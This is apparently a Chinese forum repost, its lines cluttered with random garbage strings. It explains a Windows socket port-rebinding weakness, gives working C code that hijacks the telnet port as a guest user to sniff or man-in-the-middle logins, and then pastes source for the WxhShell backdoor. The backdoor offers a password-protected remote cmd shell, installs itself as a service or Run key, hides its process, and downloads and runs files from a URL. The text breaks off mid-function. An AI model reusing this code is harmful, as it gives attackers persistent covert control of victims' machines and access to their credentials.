在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+'D
#VG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
gd ; e-. SG3qNM: g saddr.sin_family = AF_INET;
EJO6k1 bhT:MW! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
nIqmora Jz)c|8U bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:sekMNM >c@1UEwkm 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
y7#vH< t-w4rXvF 这意味着什么?意味着可以进行如下的攻击:
dRLvej, 0bG2YMs 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
PciiDh~/ ON$-g_s>) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Z65]| O0>^?dsL 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_ 6'HBE _qhYG1t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,9ZN k@q w77"?kJ9X 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i9y&<^<W Y&`nB,' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qXQ7Jg9 2o-Ie/"d\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X6:
c- jiAN8t*P #include
Yc1ve #include
m_1BB$lyP2 #include
MQGR-WV=5 #include
mkt%|Kb. DWORD WINAPI ClientThread(LPVOID lpParam);
/bv4/P int main()
{AqPQeNgz {
0~j0x# WORD wVersionRequested;
V$<5` DWORD ret;
FG5t\!dt< WSADATA wsaData;
)3~):+ BOOL val;
[?Q$b5j/M SOCKADDR_IN saddr;
}KwL_\>&f SOCKADDR_IN scaddr;
mw&)j R$& int err;
giz#(61j^ SOCKET s;
OO+QH 2j SOCKET sc;
DU-&bm int caddsize;
G2}e@L0 HANDLE mt;
+eD+Z.{ DWORD tid;
)%&~CW+ wVersionRequested = MAKEWORD( 2, 2 );
xA2"i2k9 err = WSAStartup( wVersionRequested, &wsaData );
,_2ZKO/k$ if ( err != 0 ) {
:*/`"M)' printf("error!WSAStartup failed!\n");
+ %07J6 return -1;
ln6Hr^@5 }
`>cBR,)r saddr.sin_family = AF_INET;
weky
5(: "i ;c )ZP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Do5)ilt *_7%n-k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V0x;*)\PYm saddr.sin_port = htons(23);
rSvQarT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&?#G)suP {
vmZyvJSE printf("error!socket failed!\n");
d%: return -1;
/^<Uy3F[p }
[q{[Avqf val = TRUE;
S(
r Fa //SO_REUSEADDR选项就是可以实现端口重绑定的
u4a(AB>S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8/dx)*JCq {
u:f.g?!`" printf("error!setsockopt failed!\n");
I
;Sm<P7* return -1;
fSFb)+ }
<wZ2S3RNA //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
N3J;_=<4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|B;tv#mKD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:v!e8kM\x 9I;d>% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]hL`HP {
t$lO~~atr ret=GetLastError();
e$3{URg printf("error!bind failed!\n");
]e+88eQ return -1;
?W(>Yefk }
z.q^`01/H listen(s,2);
5dE@ePO[/9 while(1)
M &g1'zv?/ {
3b2[i,m<L caddsize = sizeof(scaddr);
r2]KP(T8| //接受连接请求
]%L?b-e sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`i,l)X] if(sc!=INVALID_SOCKET)
* Jy'3o {
ZYy?JDAO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|aovZ/b4 if(mt==NULL)
U- UD27 {
u2G{I? printf("Thread Creat Failed!\n");
:mwJJIjUW break;
y7quKv7L} }
i0y^b5@MOb }
V9 dRn2- [ CloseHandle(mt);
Gb\Nqx( }
8AK=FX&@& closesocket(s);
^T#bla893 WSACleanup();
#ONad0T; return 0;
.m]"lH* }
%&RF;qa2xu DWORD WINAPI ClientThread(LPVOID lpParam)
<B?@,S> {
,X05&'@Z SOCKET ss = (SOCKET)lpParam;
a$*)d($ SOCKET sc;
oXef<- : unsigned char buf[4096];
Wz~=JvRHh SOCKADDR_IN saddr;
s?8vs%(l long num;
1yS[; DWORD val;
W'BB FG DWORD ret;
]b"Oy}ARW //如果是隐藏端口应用的话,可以在此处加一些判断
bZE;}d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
3:Mq40]x saddr.sin_family = AF_INET;
O#,Uz2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_bi]Bpxf saddr.sin_port = htons(23);
%8_bh8g- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qW1d;pt {
{hzU printf("error!socket failed!\n");
(|<e4HfZL return -1;
,F,\bp } }
'
DZYN {} val = 100;
K/,y"DUN& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s\k4<d5 {
H6Mqy}4W ret = GetLastError();
sw={bUr6G` return -1;
Li jisE }
hGPo{>xR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mIK-a{?G {
i|]Kw9 ret = GetLastError();
!\
IgTt, return -1;
QUPZe~G>L }
(aAv7kB& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
J|9kWjOf+i {
Uq:WW1=kh printf("error!socket connect failed!\n");
G% |$3 closesocket(sc);
O T*C7= closesocket(ss);
q`HuVilNH return -1;
_(K )(& }
x}Y while(1)
|,3>A@ {
TSGJ2u5ie% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
g[Z$\A?ZbZ //如果是嗅探内容的话,可以再此处进行内容分析和记录
#Sxk[[KwH* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
cjf 8N:4N0 num = recv(ss,buf,4096,0);
.l| [e if(num>0)
66P'87G send(sc,buf,num,0);
r\OunGUP else if(num==0)
WIe7>wkC break;
cBZKt num = recv(sc,buf,4096,0);
n9
LTrhLqp if(num>0)
x)Y?kVw21" send(ss,buf,num,0);
Wchu-] else if(num==0)
toq/G,N Q break;
LH=gNFgzt }
#DBg8 closesocket(ss);
B-oQ 9[~ closesocket(sc);
rd*`8B return 0 ;
5`TbM }
RZ(*%b<C \3M<_73 ,buSU~c_Q ==========================================================
y$
L@!r/s PQl^jS 下边附上一个代码,,WXhSHELL
lO
(MF U9<AL. ==========================================================
Fgx{ s%&- uPVM>xf>w #include "stdafx.h"
#.<Uy."z2
~ 4v #include <stdio.h>
WpPm|h #include <string.h>
4LEWOWF} #include <windows.h>
pyvH [ #include <winsock2.h>
Z~g6C0 #include <winsvc.h>
p<eu0B_V #include <urlmon.h>
`!`g&:Y 3 291"0 #pragma comment (lib, "Ws2_32.lib")
F9ys.Bc #pragma comment (lib, "urlmon.lib")
Frn<~ z\d{A7 #define MAX_USER 100 // 最大客户端连接数
8#m,TOp #define BUF_SOCK 200 // sock buffer
InO;DA\ #define KEY_BUFF 255 // 输入 buffer
!"v[\||1 .3X5~OH #define REBOOT 0 // 重启
CIxa" MW #define SHUTDOWN 1 // 关机
e=>:(^CS 1@dB*Jt #define DEF_PORT 5000 // 监听端口
#x?Ku\ts )8cb @N #define REG_LEN 16 // 注册表键长度
K nl`[Nl #define SVC_LEN 80 // NT服务名长度
`"(FWK=8)" l}bAwJ? // 从dll定义API
"QKCZ8_C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
og`rsl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
i/vo typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2
c
2lK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8a,uM : ,Y:ET1: // wxhshell配置信息
fY4I(~Q struct WSCFG {
r}**^"mFy int ws_port; // 监听端口
Qe[ejj1o: char ws_passstr[REG_LEN]; // 口令
&RJ*DAmL int ws_autoins; // 安装标记, 1=yes 0=no
B\73Vf char ws_regname[REG_LEN]; // 注册表键名
kB)u@`</mV char ws_svcname[REG_LEN]; // 服务名
R@X65o
char ws_svcdisp[SVC_LEN]; // 服务显示名
V< Ib#rd' char ws_svcdesc[SVC_LEN]; // 服务描述信息
l&/V4V- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xU1_L*tu ' int ws_downexe; // 下载执行标记, 1=yes 0=no
|rgp(;iO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%,1xOl4l char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"t.Jv%0= !K8Kw
W|X };
9{GEq@`7 |erG cKk // default Wxhshell configuration
%(uYYr
6 struct WSCFG wscfg={DEF_PORT,
xekU2u}WE "xuhuanlingzhe",
jIL+^{K< 1,
gW5yLb_Vz$ "Wxhshell",
RoFOjCc>D. "Wxhshell",
tEN8S]X "WxhShell Service",
0!Vza?9 "Wrsky Windows CmdShell Service",
`<Q[$z "Please Input Your Password: ",
kl~)<,/@ 1,
UkTq0-N;2 "
http://www.wrsky.com/wxhshell.exe",
;!+-fn4C "Wxhshell.exe"
BXb=NE };
fTOGW`s^ 7DKTd^^M // 消息定义模块
+SB>> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:R-_EY$k6 char *msg_ws_prompt="\n\r? for help\n\r#>";
%/4_|.8u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]vflx^<? char *msg_ws_ext="\n\rExit.";
xZ]QT3U+ char *msg_ws_end="\n\rQuit.";
Yyr
qO^9m char *msg_ws_boot="\n\rReboot...";
k-N}tk/5 char *msg_ws_poff="\n\rShutdown...";
y;if+ char *msg_ws_down="\n\rSave to ";
,Y4>$:#n/ UhKd o char *msg_ws_err="\n\rErr!";
d =p=eUd2 char *msg_ws_ok="\n\rOK!";
Nz77"
kC E!9(6G4 char ExeFile[MAX_PATH];
)H>?K0I int nUser = 0;
~n~j2OE HANDLE handles[MAX_USER];
n *EGOS int OsIsNt;
(e_z*o)\T [v+5|twxpU SERVICE_STATUS serviceStatus;
iG ,z3/~v SERVICE_STATUS_HANDLE hServiceStatusHandle;
w:pPd;nz0Y 6U0BP // 函数声明
A+MG?k>yg int Install(void);
-q]5@s/ int Uninstall(void);
<t&Qa~mA int DownloadFile(char *sURL, SOCKET wsh);
Dv*d$ int Boot(int flag);
zIA)se
Js void HideProc(void);
3L CT-rp int GetOsVer(void);
*iN5/w{VG int Wxhshell(SOCKET wsl);
| .gE9'"bv void TalkWithClient(void *cs);
S,s#D9NU int CmdShell(SOCKET sock);
I
6'!b/ int StartFromService(void);
}BUm}.-{u, int StartWxhshell(LPSTR lpCmdLine);
Yr*!T= z S"t\LB*'Ls VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1=h5Z3/fj VOID WINAPI NTServiceHandler( DWORD fdwControl );
iR!]&Oh c{IL"B6> // 数据结构和表定义
Ou4 `#7FR SERVICE_TABLE_ENTRY DispatchTable[] =
%>y`VN
D {
'
<?=!&\D {wscfg.ws_svcname, NTServiceMain},
m5o$Dus+?' {NULL, NULL}
i-ww@ XOQ };
(HXKa][T gZ|!' // 自我安装
UcKVLzKs int Install(void)
?iZM.$![ {
l;rA}?,.^ char svExeFile[MAX_PATH];
H_JE)a:+ HKEY key;
gBO, strcpy(svExeFile,ExeFile);
kLF~^/ lbX
YWZ~7 // 如果是win9x系统,修改注册表设为自启动
1%C EUE if(!OsIsNt) {
1cc~UQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
id9 XwWV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Na4O( d` RegCloseKey(key);
}H<Z`3_U% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'1rGsfp6In RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N4z[=b> RegCloseKey(key);
Peo-t*-06 return 0;
L]%!YP\<T }
JeN]sK)8x }
%
H<@Y$r }
A0Q`Aqs else {
m] yUcj{F .^2.h // 如果是NT以上系统,安装为系统服务
'"+Gn52# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%JH/|mA&| if (schSCManager!=0)
lcLDCt? {
L/E7xLz SC_HANDLE schService = CreateService
E+ |K3EJ (
DgK*>A schSCManager,
m[%':^vSr wscfg.ws_svcname,
>9mj/P D wscfg.ws_svcdisp,
]imVIu SERVICE_ALL_ACCESS,
(?g+.]Dt, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$)nPj_h SERVICE_AUTO_START,
+V(^"Z~ SERVICE_ERROR_NORMAL,
vS"h`pL svExeFile,
X- X`Z`o NULL,
=1k%T {> NULL,
M7T*J>i NULL,
}]#z0'Aqsu NULL,
en/ h`h]h NULL
9Zj3 "v+b );
/E2P if (schService!=0)
]l C2YD} {
_!VtM#G[ CloseServiceHandle(schService);
YXZP-=fB>i CloseServiceHandle(schSCManager);
zy%0;% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
UmvnVmnv strcat(svExeFile,wscfg.ws_svcname);
sVBr6
!v= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2 S~( P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
z5oJQPPi RegCloseKey(key);
;N(L, return 0;
rM^2yr7H }
9-V'U\}L }
/t`,7y3T CloseServiceHandle(schSCManager);
+ue1+# }
',xUU{5? }
.>#O'Z&q9 UGd\`*Cj return 1;
4`)r1D!U }
c-5AI{%bl6 \b%c_e // 自我卸载
FNuE-_
int Uninstall(void)
y2#"\5dC {
0;@>jo6,! HKEY key;
k7Qs#L (_!I2"Q* if(!OsIsNt) {
vb?.`B_>& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9od*N$ RegDeleteValue(key,wscfg.ws_regname);
)XavhS~Ff RegCloseKey(key);
^"D^D`$@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{Q37a=;, RegDeleteValue(key,wscfg.ws_regname);
NN2mOJ:- RegCloseKey(key);
W6}>iB return 0;
q^<HG] }
j'U1lEZm2 }
{J
izCUo_' }
3N-pND0>p else {
$[Z~BfSQ 2"?D aX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
SepwMB4@ if (schSCManager!=0)
bEj}J_# {
\?R#ZxP@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
EnlAgL']| if (schService!=0)
:H3/+/x {
i0$*):b if(DeleteService(schService)!=0) {
/hu>MZ(\ CloseServiceHandle(schService);
jc )7FE CloseServiceHandle(schSCManager);
Ky"FL return 0;
,dTmI{@O }
V4NQcy?
H CloseServiceHandle(schService);
5 ,-8oEUL }
ohqThl CloseServiceHandle(schSCManager);
$l"%o9ICG }
=?0v,;F9| }
!L9OJ1F s5{=lP return 1;
l*z%Jw }
|u?VlRt 1s@QsZ3 // 从指定url下载文件
2/r8%Sq int DownloadFile(char *sURL, SOCKET wsh)
,3 /o7 ' {
Sx QA*}N HRESULT hr;
RG'76?z char seps[]= "/";
(m,H 5 char *token;
[
5}Q char *file;
m{=Q88k!@. char myURL[MAX_PATH];
J_Tz\bZ3) char myFILE[MAX_PATH];
w-e{_R 3p&T?E% strcpy(myURL,sURL);
C{pOGc@ token=strtok(myURL,seps);
Z3hZy&_I while(token!=NULL)
I/tMFg {
ap )B%9 file=token;
Uzzm2OS` token=strtok(NULL,seps);
vE'{?C=EM }
M
Zz21H YIg43Av GetCurrentDirectory(MAX_PATH,myFILE);
z8ZQL.z%h strcat(myFILE, "\\");
PBb&.< strcat(myFILE, file);
9/29>K_ send(wsh,myFILE,strlen(myFILE),0);
5[SwF&zZ send(wsh,"...",3,0);
s+lBai*# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B8T$< if(hr==S_OK)
>":xnX# return 0;
X2Z)>
10 else
CUI+@|]% return 1;
NT*r7_e |K Rt$t }
T2<%[AF0 :gU5C Um // 系统电源模块
aim\3y~ int Boot(int flag)
8]&:' {
T8z?_ *k HANDLE hToken;
}Cu[x'J TOKEN_PRIVILEGES tkp;
WM
?a1j Pn OWQ8= if(OsIsNt) {
`L`+`B OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
f;
|fS~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zZCRej tkp.PrivilegeCount = 1;
xt5/`C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`T[@ - AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
g) oOravV if(flag==REBOOT) {
Mz6(M,hkq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6EyPZ{ return 0;
ZK^cG'^2| }
&}k7iaO else {
&R<aRE:+R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
G$i)ELs return 0;
950N\Y@u }
%|(c?`2| }
#mu L-V else {
(~^fx\-S if(flag==REBOOT) {
2uE<mjCt-r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f(m,! return 0;
BM,hcTr? }
i)z|=
|? else {
Uv
*Aa7M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
nFEJO&1+ return 0;
Z*co\ pW }
6*9wGLE }
v<!S_7h 29RP$$gR return 1;
DQXUh#t\(] }
?8V.iHJk eTx9fxw // win9x进程隐藏模块
ux&"TkEp void HideProc(void)
#4'wF4DR@ {
pd'0| K4!-%d$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a'i
Q(" if ( hKernel != NULL )
0!|d .jZI {
0
jth}\9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/]TNEU,K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
&ry*~"xoh FreeLibrary(hKernel);
neI7VbH4 }
|qUGB.Q .Ix3wR9 return;
X=$Jp. }
_AX9Mu] 'V:Q : // 获取操作系统版本
/88s~= int GetOsVer(void)
%PYl {
crM5&L9zF OSVERSIONINFO winfo;
@N>7+
4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yV{B,T`W GetVersionEx(&winfo);
PdcIHN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
A#"Wk]jX return 1;
&$~fz":1! else
C 5.3[ return 0;
%F>~2g?$ }
V*4Z.3/E5 K|7"YNohfG // 客户端句柄模块
15g!Q
*v int Wxhshell(SOCKET wsl)
,&t+D-s<f {
!!1?2ine SOCKET wsh;
dE7x
SI struct sockaddr_in client;
IK2da@V DWORD myID;
2a$.S" ? g<:Lcg"u while(nUser<MAX_USER)
JY0aE {
a$My6Qa# int nSize=sizeof(client);
bBjr hi wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
A>@#eyB if(wsh==INVALID_SOCKET) return 1;
@YI{ E*?S >
{*cW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
cfLF@LW!]) if(handles[nUser]==0)
\]tBwa closesocket(wsh);
@k?vbq else
QHk\Z nUser++;
Dl;hOHvKk }
7AqgX0) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Tru{8]uMH 7*5B return 0;
*4cuWkQ, }
^{+ry<rS> 6R6Ub
0 // 关闭 socket
$p0nq&4c void CloseIt(SOCKET wsh)
AWR :~{ {
2}vibDq p closesocket(wsh);
)0"Q
h nUser--;
d6luksO*9 ExitThread(0);
<|Td0|x
_q }
cI=6zMB >;fVuy // 客户端请求句柄
OdzeHpH3g void TalkWithClient(void *cs)
/%T/@y {
!m@cTB7i
fzSkl`K} SOCKET wsh=(SOCKET)cs;
/7AHd ; char pwd[SVC_LEN];
BPY7O char cmd[KEY_BUFF];
;KL7SM%g4 char chr[1];
D#g-mqar: int i,j;
E'QAsU8pP -+".ut:R while (nUser < MAX_USER) {
I\@r~]+y Y+?QHtZL if(wscfg.ws_passstr) {
Q"QRF5Ue if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n2U
&}O //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%F*9D3^h //ZeroMemory(pwd,KEY_BUFF);
dAI^ P/y% i=0;
e+[*4)Qfy while(i<SVC_LEN) {
Xoe|]@U` S,&LH-ps // 设置超时
;wv[';J fd_set FdRead;
)@g[aRFa struct timeval TimeOut;
&`^(dO9 FD_ZERO(&FdRead);
=^9h
z3j FD_SET(wsh,&FdRead);
-^@FZR^Y TimeOut.tv_sec=8;
Y 6a`{' TimeOut.tv_usec=0;
MP%#)O6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
RNT9M:w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
iQG!-.aX _H+]G"k/r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
x@-K pwd
=chr[0]; 5aQ)qUgAW
if(chr[0]==0xd || chr[0]==0xa) { Ua1&eCZi
pwd=0; 'P.y?
break; Etz#+R&*
} V6g*"e/8
i++; T^A(v(^D
} *lfjsrPu
U2VEFm6
// 如果是非法用户,关闭 socket (m/:B=K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JX59n%$@
} K9<8FSn
pS?D~0Nb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (XZ[-M7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GBz?$]6
_J,**AZ~z
while(1) { i$Y#7^l%k
V.~kG ,Ht
ZeroMemory(cmd,KEY_BUFF); /J`}o}
dwA"QVp{
// 自动支持客户端 telnet标准 ,ri&zbB
j=0; RD`|Z~:q:K
while(j<KEY_BUFF) { MK#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /X}1%p
cmd[j]=chr[0]; W~ yb>+u
if(chr[0]==0xa || chr[0]==0xd) { Gs:g
cmd[j]=0; {cdICWy(F3
break; bmT%?it
} m$8siF{<q
j++; #qd!_oN
} >tg)F|@
Ws2q/[\oz
// 下载文件 m#+0m!
if(strstr(cmd,"http://")) { 0#|Jhmv-zL
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q2fxsa[
if(DownloadFile(cmd,wsh)) t>[QW`EeP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RXXHg
else dDcQSshL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &8VH m?h
} ~kc#"^sJ
else { Y.m1d ?H 1
`_J&*Kk5
switch(cmd[0]) { htB2?%S=T
{|9knP
// 帮助
Dl!0Hl
case '?': { .][yH[F
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E~y8X9HZ)
break; U][E`[m#
} m[%356u
// 安装 <"Y>|X
case 'i': { <@J$hs9s
if(Install()) V9[_aP;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jOhAXe;~X{
else `
nX,x-UM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !.h{/37]
break; ruaZ(R[
} b: (+d"S
// 卸载 ~}OaX+!
case 'r': { ;D'm=uOl
if(Uninstall()) bdrE2m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FBE|pG7
else zC*FeqFL<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7FwtBO
break; ".jO2GO^
} `0upm%A
// 显示 wxhshell 所在路径 F=F84_+K
case 'p': { ww|fqx?
char svExeFile[MAX_PATH]; ?>7\L'n=5I
strcpy(svExeFile,"\n\r"); 0A}XhX
strcat(svExeFile,ExeFile); veDv14
send(wsh,svExeFile,strlen(svExeFile),0); zlLZ8b+
break; sI\NX$M
} 0\i\G|5
// 重启 6jpzyf=~
case 'b': { +[}y`
-t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8wWp+Hk
if(Boot(REBOOT)) mxqZj8VuH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gza=
0
else {
R &1>\t
closesocket(wsh); kQI'kL8>
ExitThread(0); %@QxU-k_
} QFTiE1mGH
break; iv`G}.Bo
} }w)}=WmD
// 关机 #8jiz+1 _
case 'd': { I=DVMG|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G)0
4'|W
if(Boot(SHUTDOWN)) /[c_,G""
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /J}G{Y
|n
else { $2FU<w$5
closesocket(wsh); U*nB=
=
ExitThread(0); x)80:A}
} "1|geO|
break; j&ti "|2\
} )pI( <
// 获取shell G=qlE?j`j
case 's': { /
0$!.
CmdShell(wsh); '&Ur(axs
closesocket(wsh); (bm>
)U=
ExitThread(0); Dp['U
break; /'oo;e
} 9ad`q+kY
// 退出 xkf2;
case 'x': { N-N]BS6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xS,F
DPA
CloseIt(wsh); #Q2s3"X[
break; .LAB8bg
} i:Y5aZc/Ds
// 离开 jR\pYRK
case 'q': { ,'C*?mms
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [vI ;A!
closesocket(wsh); 9@qkj
4w
WSACleanup(); p` ~=v4;b
exit(1); *X3wf`C?
break; 7OLHY t9
} AclK9+V
} 5_A*IC]
} N/>:})dav
~!ei]UP
// 提示信息 AQ
FnS&Y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b~ )@e9
} lDBAei3iB
} YuuTLX%3
^coCsV^CW"
return; a /]FlT
} %,$xmoj9O]
Sv=e|!3f[k
// shell模块句柄 3LyNi$`f
int CmdShell(SOCKET sock) t=eI*M+>h
{ UZsvYy?
STARTUPINFO si; }r18Y6
ZeroMemory(&si,sizeof(si)); IqlCl>_j
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [qY yr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BN(=LQ2["
PROCESS_INFORMATION ProcessInfo; 1z|bQ,5
char cmdline[]="cmd"; xA^E+f:W_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lpPPI+|4N
return 0; '<,Dz=
} V ~jp
,XscO7
// 自身启动模式 N, u]2,E
int StartFromService(void) FD!8o
{ 6yYjZ<
typedef struct %qsl<_&
{ ]
0L=+=w
DWORD ExitStatus; ZweAY.]e
DWORD PebBaseAddress; {nM1$
DWORD AffinityMask; |[r7B*fw
DWORD BasePriority; kE6/d,
